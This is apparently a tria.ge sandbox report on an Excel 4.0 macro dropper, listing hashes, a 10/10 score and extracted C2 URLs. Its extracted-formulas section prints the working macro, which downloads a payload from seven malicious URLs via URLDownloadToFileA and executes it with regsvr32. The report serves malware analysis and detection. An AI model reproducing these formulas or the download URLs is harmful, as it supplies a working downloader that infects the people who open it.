Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    22d07f3894841719dd063c9434ee9f3c51bfa8e864dadaef44bded9848b9463b

  • Size

    51KB

  • Sample

    241111-zzyrlszlgn

  • MD5

    ea633cbd9403e7a8cb1d4fcb4c90c048

  • SHA1

    a582c7636beb07337edbecfc47f13863f51af2b5

  • SHA256

    22d07f3894841719dd063c9434ee9f3c51bfa8e864dadaef44bded9848b9463b

  • SHA512

    448fa82161313fbe64a8261fb56b36345d69cee997507edcd9caecba382ec56cf5f1140cde37a58c57340a8fae54e94d028fad37d8fc316998589dad6fc957f4

  • SSDEEP

    768:6ICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:6ItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

Targets

    • Target

      22d07f3894841719dd063c9434ee9f3c51bfa8e864dadaef44bded9848b9463b

    • Size

      51KB

    • MD5

      ea633cbd9403e7a8cb1d4fcb4c90c048

    • SHA1

      a582c7636beb07337edbecfc47f13863f51af2b5

    • SHA256

      22d07f3894841719dd063c9434ee9f3c51bfa8e864dadaef44bded9848b9463b

    • SHA512

      448fa82161313fbe64a8261fb56b36345d69cee997507edcd9caecba382ec56cf5f1140cde37a58c57340a8fae54e94d028fad37d8fc316998589dad6fc957f4

    • SSDEEP

      768:6ICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:6ItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks